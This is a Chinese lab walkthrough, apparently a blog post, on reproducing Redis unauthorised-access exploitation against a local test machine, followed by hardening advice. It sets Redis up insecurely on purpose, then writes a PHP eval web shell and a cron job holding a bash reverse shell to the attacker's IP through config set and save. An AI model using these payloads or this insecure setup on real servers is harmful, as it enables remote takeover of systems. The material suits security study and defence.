0x01:产品简介
Redis(Remote Dictionary Service,远程数据服务),是一款开源的基于内存的键值对存储系统,其主要被用作高性能缓存服务器使用(比如作为消息中间件和用于 Session 共享)。
Redis 采用键值对模型来存储数据,因此其支持非常多的数据结构类型,比如:字符串(String)、哈希表(Hash)、有序列表(List)、无序集合(Set)、有序集合(ZSet)。
由于 Redis 采用基于内存的存储方式,所以其免去了磁盘 I/O 速度的影响,因此其读写性能极高。
拓展:简单的 Redis 操作指令(部署完环境后速查)
/redis-cli # 连接本地的 Redis 服务端 redis-cli -h xx.xx.xx.xx -p 6379 # 连接远程的 Redis 服务端 flushall # 清空所有的 Key keys * # 查看所有的 Key set Hack3rX Blue17 # 设置 Key get Hack3rX # 根据 Key,取出 Value hset hash 1 a 2 b 3 c 4 d # 设置 Hash 值 hget hash 1 # 取出 hash 值为 1 的值,即 a
0x02:漏洞简介
首先需要说明,Redis 官方并不认为这个是它们系统的漏洞,他们认为这源自于用户配置不当所造成的问题,所以在很早的 Redis 版本中就可以使用该漏洞进行攻击。
在默认配置下,Redis 会绑定至本机的 6379 端口。若用户未采取诸如限制 Redis 访问 IP 等防护措施,且未设置密码认证(Redis 默认密码为空),便直接将 Redis 服务暴露于公网,这将使得任意用户在能够访问目标服务器的情况下,可借助 Redis 自身的 config 命令执行写文件操作。攻击者可借此向定时任务中植入恶意代码,进而获取 Redis 运行服务器的控制权,并进一步实施攻击。
0x03:环境搭建
环境准备
Redis 版本:6.2.3(CSDN 备份资源:redis-6.2.3.tar.gz)
靶机环境:CentOS7 - IP 192.168.0.137 - 安装 Redis 服务器
攻击机环境:Kali Linux - IP 192.168.0.136 - 安装 Redis 客户端
0x0301:靶机环境搭建
靶机:Redis 服务端配置概览
目标:能让任何 Redis 客户端都连接上 Redis 服务器。
备注:Redis 服务端是使用 root 用户安装的。(实际环境中不推荐)
Redis 配置文件:
关闭保护模式
protected-mode
(让任何客户端都能连接)取消 IP 绑定
bind
(让任何客户端都能连接)取消 Redis 连接密码(这个是默认的配置)
服务端配置:
开放 6379 端口,或者关闭防火墙(公网安装记得去安全组中进行配置)
1. CentOS 7 安装 Redis 源码包
Downloads - Redishttps://redis.io/downloads/
使用 SSH 登录到靶机,切换到 Root 用户,然后在 /usr/local/
目录下创建一个soft
文件夹以存放我们安装的 Redis 软件(你可以挑选你喜欢的安装目录,这里不必和笔者一样):
mkdir /usr/local/soft # 创建 soft 文件夹,以存放安装的程序(可选,看你)
cd /usr/local/soft # 进入 soft 文件夹
wget https://download.redis.io/releases/redis-6.2.3.tar.gz # 下载 Redis 源码包
输入下面的命令解压 redis 压缩包:
tar -zxvf redis-6.2.3.tar.gz
我们刚刚下载的是 Redis 的源码包,还不能直接使用,我们还需要将其编译成可执行程序后才能使用。由于 Redis 是使用 C 语言编写的,所以我们编译需要用到 GCC。Redis 6.x.x 版本支持了多线程,所以需要 GCC 的版本大于 4.9(CentOS7 默认 GCC 版本是 4.8.5)。
2. CentOS 7 升级 GCC 版本
输入下面的命令查看本机当前的 gcc 版本:
gcc -v
依次输入下面的命令升级本机的 GCC 版本(这里很多人都会失败,建议参考笔者下面列举的项目进行排查):
yum -y install centos-release-scl
yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils
scl enable devtoolset-9 bash
echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile
Bug:若无法下载 gcc 9 版本可以参考下面流程进行排查(NameServer Error)
在下载 gcc 9 版本时,可能会报出 NameServer Error 问题,即 yum 源域名无法解析的问题,建议按照如下流程排查:
修改本地 DNS 解析地址,直到你能 Ping 通 baidu.com 为止(问 AI)。
修改本地 yum 源为阿里源 - 参考下面这篇文章:
Centos7将yum源更换为国内源保姆级教程_centos使用中科大源-CSDN博客
当你修改 yum 源后 makecache 时报错发现改源失败,参考这篇文章修改 SCL 源:
Centos7 停止维护之后 升级gcc||找不到devtoolset-8-gcc* 问题解决方案
等上面的命令执行完毕后输入下面的命令,查看当前 gcc 的版本:
gcc -v
3. CentOS 7 编译安装 Redis
输入下面的命令进入 redis 源码包解压后的 src
(源码)目录:
cd /usr/local/soft/redis-6.2.3/src
使用下面的命令将 Redis 源码编译成可执行程序:
make install
在 src
目录下输入下面的命令,确定你是否安装成功:
ls | grep -E "redis-server|redis-cli|redis-sentinel"
4. 修改 Redis 配置文件
首先明确一点,笔者将 redis 安装在了:/usr/local/soft/redis-6.2.3
文件夹下。所以我本机的 Redis 默认配置文件是在 /usr/local/soft/redis-6.2.3/redis.conf
。
使用下面的命令打开并编辑 Redis 的配置文件(修改完成后记得保存):
vim /usr/local/soft/redis-6.2.3/redis.conf
# 以下是需要更改的配置内容
1. 将 protected-mode yes 修改为 protected-mode no
2. 将 daemonize no 修改为 daemonize yes
3. 注释掉 bind 127.0.0.1
4. (实验跳过,实际必选)如果需要密码访问,取消 requirepass 的注释,如果你在外网(比如阿里云)这个必须要配置。
5. 使用指定配置文件启动 Redis
输入下面的命令,使用 redis-server(我们编译好的可执行程序)加载我们刚刚修改的配置文件来尝试启动 Redis 服务:
/usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf
输入完上面的命令后,在使用下面的命令来确定 Redis 是否启动成功(Redis 默认端口是 6379,如果我们发现 6379 端口处于 LISTEN 状态,则说明 Redis 启动成功):
netstat -an | grep 6379
6. 使用 Redis 客户端连接 Redis 服务器
输入下面的命令,使用我们刚刚编译好的 redis 客户端程序连接上 redis 服务器:
/usr/local/soft/redis-6.2.3/src/redis-cli
7. 停止 redis 服务器(服务器中)
在上面的演示中,我们通过 exit
退出连接了 Redis 服务器,可以发现 Redis 服务器其实依旧在运行,并没有关闭,那么我们要怎么关闭 redis 服务呢?
关闭 redis 服务可以通过以下两个方式进行(在运行 Redis 服务的机器中运行):
========================== Way 1
127.0.0.1:6379> shutdown
========================== Way 2
ps -aux | grep redis # 筛选出 redis 服务的进程号
kill -9 xxxxx # 直接杀死 redis 服务的进程
8. (可选)快捷使用 Redis - 配置别名
我们刚刚通过输入 /usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf
的方式启动 Redis 非常的麻烦,有没有简单的缩短我们敲的指令的长度呢?
有的,兄弟,有的,配置别名就可以了,输入下面的命令编辑 .bashrc
文件(记得保存):
vim ~/.bashrc # 编辑 ~/.bashrc
# 添加下面两行内容
alias redis='/usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf'
alias recli='/usr/local/soft/redis-6.2.3/src/redis-cli'
然后输入下面的命令,使我们上面修改的内容生效:
source ~/.bashrc
然后我们就可以使用 redis 命令直接启动 redis 服务,使用 recli 命令直接进入客户端了:
9. 开放 6379 端口 or 关闭防火墙
为了我们漏洞复现的成功,我们需要将服务端的 Redis 服务暴露出来。暴露的方式很简单,如果你是在公网上安装的,从安全组中开放 6379 端口即可。这里我们主要讲解第二种方式,即关闭防火墙(漏洞复现,还是别拿自己的公网服务器开玩笑比较好)。
首先,输入下面的命令,查看本机防火墙状态:
systemctl status firewalld
关闭防火墙输入下面的命令即可:
systemctl stop firewalld.service # 关闭防火墙,重启后防火墙会自动开启
systemctl disable firewalld.service # 禁止防火墙开机启动
那么至此,我们的靶机环境就搭建完成了。
0x0302:攻击机环境搭建
攻击机我们采用的是 Kali Linux,对于攻击机的环境,其实只要安装一个 Redis 的客户端程序即可,具体流程与上面安装 CentOS 7 的基本一致,所以笔者这里就简略点写了。
下载 Redis 源码包,并进行解压编译成可执行文件(本机 Kali 的 GCC 版本是 13.2.0 符合要求):
# 下载 Redis 源码包
wget https://download.redis.io/releases/redis-6.2.3.tar.gz
# 进行解压操作
tar -zxvf redis-6.2.3.tar.gz
# 进入源码目录
cd redis-6.2.3/src
# 将源码编译成可执行程序
make install
# 将 src 目录下的 redis-cli 拷贝到 /usr/bin 目录下,我们就可以直接使用 redis-cli 运行客户端了
cp ./redis-cli /usr/bin
按照上面的步骤操作完成后,我们就可以尝试使用 Kali 中的 redis 客户端连接 CentOS 7 靶机上的 Redis 服务器了:
redis-cli -h 192.168.0.137 -p 6379
0x04:漏洞复现
0x0401:基础知识 - Redis 持久化机制
在 Redis 产品简介中我们已经说过了,Redis 是将数据存储在内存中。我们知道的,内存中的数据是不持久的,如果我们的服务器不小心关机了,或者 Redis 的服务不小心崩溃了,那么 Redis 中存储的数据就会全部消失。
为了解决上面的问题,我们就要使用到 Redis 的持久化机制,即定期将内存中的数据拷贝到硬盘上。Redis 提供了两种方式来做持久化,分别是 RDB(默认,Redis DataBase)与 AOF(Append Only File),这两种方式是可以同时使用的,并不是排斥的。我们这里主要是讲解 RDB 的方式,因为是默认的,所以用的比较多。
1. RDB - 自动备份
RDB 方式可以分为自动触发与手动触发两种,我们先来看看自动触发,使用靶机打开 Redis 的配置文件,定位关键词 SNAPSHOTTING
,这部分是控制自动触发的条件的:
vim /usr/local/soft/redis-6.2.3/redis.conf
然后再定位关键词 dbfilename
,这部分是控制保存的文件名的:
然后我们再定位关键词 dir
,这部分是控制保存的路径的:
通过上面几个配置,我们了解到了,Redis 会通过 SNAPSHOTTING
中的规则,将内存中的数据定期备份到 Redis 安装目录下的 dump.rdb 文件中(默认情况下):
2. RDB - 手动备份
手动触发就比较简单了,进入 Redis 客户端中输入下面的命令就可以直接让 Redis 将内存数据写到磁盘中的指定位置了:
save
0x0402:基础知识 - Redis 动态修改配置
在之前的操作中,我们想要修改 Redis 的配置都需要去 Redis 的配置文件中进行修改。但 Redis 其实还提供了一个动态修改配置的机制,其语法如下(动态修改的配置只在本次服务中生效):
config set dir /
config set dbfilename redis.php
首先给大家看一下我靶机的根目录下的文件,此时是没有 redis.php 的:
在攻击机中,我们使用 Redis 客户端连接到靶机的 Redis 服务器中,并通过动态修改配置的方式,在靶机的根目录下生成一个 redis.php 文件:
┌──(root㉿kali)-[/home/kali/Desktop/soft]
└─# redis-cli -h 192.168.0.137 -p 6379 # 连接上靶机的 Redis 服务器
192.168.0.137:6379> keys *
(empty array)
192.168.0.137:6379> set Hack3rX "I'm Comming!" # 设置一个 Key
OK
192.168.0.137:6379> set kiss "<?php @eval($_POST['muma']) ?>" # 设置一个 Key,并写入一句话木马
OK
192.168.0.137:6379> config set dir / # 通过动态修改配置,设置保存的文件位置
OK
192.168.0.137:6379> config set dbfilename redis.php # 设置保存的文件名
OK
192.168.0.137:6379> save # 手动执行保存操作
OK
下面我们来看看靶机的根目录下的内容:
可以发现,此时在靶机的根目录下就出现了一个 redis.php 文件,打开该文件,可以发现里面有完好的 PHP 一句话木马的内容(如果我们将保存位置设置到靶机的站点目录下呢,是不是就可以直接写入 Shell,然后再使用远控工具进行连接,就能直接拿到服务器的控制权了呢)。
0x0403:漏洞利用 - Redis 定时反弹连接
在前面的内容中我们介绍了 Redis 的持久化机制,现在我们就尝试使用该机制来获取靶机执行命令的权限。
目前我的靶机是除了 6379 Redis 开放的以外,其他服务都没开放,也不存在 HTTP 服务。那么,这种情况我们要怎么拿到 Shell?很简单,利用定时任务就可以了。
首先,我们进入 Kali 攻击机,并监听本机的 7777 端口:
nc -lvp 7777
然后新打开一个窗口,使用攻击机的 Redis 客户端程序连接到靶机的 Redis 服务器中:
redis-cli -h 192.168.0.137 -p 6379
然后将定时任务的内容作为 Value 写入到 Redis 中:
# 下面是写入了一个 Bash 反弹连接的任务,每分钟执行一次,靶机会自动将权限提交给攻击机
set x "\n* * * * * bash -i >& /dev/tcp/192.168.0.136/7777 0>&1 \n"
如上,我们写了一个定时执行的反弹连接代码到靶机上。然后,使用 Redis 动态修改配置的特性,将数据保存到靶机的定时任务文件中(这个文件是固定的):
config set dir /var/spool/cron/ # 设置保存的路径
config set dbfilename root # 设置保存的文件名
save # 手动执行持久化操作
等待一分钟,很快,攻击机监听的 7777 端口就传来了靶机的 Shell,成功拿到靶机的控制权:
至此,Redis 未授权访问漏洞结合定时任务反弹 Shell 的攻击演示结束。(后面就是权限维持,痕迹清理啥的基础内容了,笔者不准备在这里讲解)。
最后,再来看以下靶机的 root 用户下的定时任务中的内容吧:
0x05:加固方案
Redis security | DocsSecurity model and features in Redishttps://redis.io/docs/latest/operate/oss_and_stack/management/security/
Redis 的加固方案可以参考上面提供的官网文档。针对 “Redis 未授权访问漏洞” 相信大家在安装 Redis 的时候应该就想到了防御方法了,这里简单列一下吧:
-
不建议将 Redis 布置在公网中(不受信任的网络环境中)。
-
限制访问 IP =>
protected-mode
配置与bind
配置。 -
设置 Redis 的连接密码(强密码) =>
requirepass
配置。 -
修改 Redis 默认端口。
-
不要使用 Root 用户运行 Redis,而是创建一个低权限用户运行它。
0x06:参考资料
【Kali】Kali 安装 redis-cli_kali安装redis-cli-CSDN博客文章浏览阅读5.2k次,点赞24次,收藏17次。起序:留个笔记。一、下载下载 redis-stable.tar.gz。wget http://download.redis.io/redis-stable.tar.gz二、解压解压 redis-stable。tar -zxf redis-stable.tar.gz三、编译编译 redis-stable。# 进入到 redis-stable 目录cd redis-stable# 编译make四、拷贝编译完成之后,再将 src 目录下的 redis-cl._kali安装redis-clihttps://blog.csdn.net/qq_43427482/article/details/114794812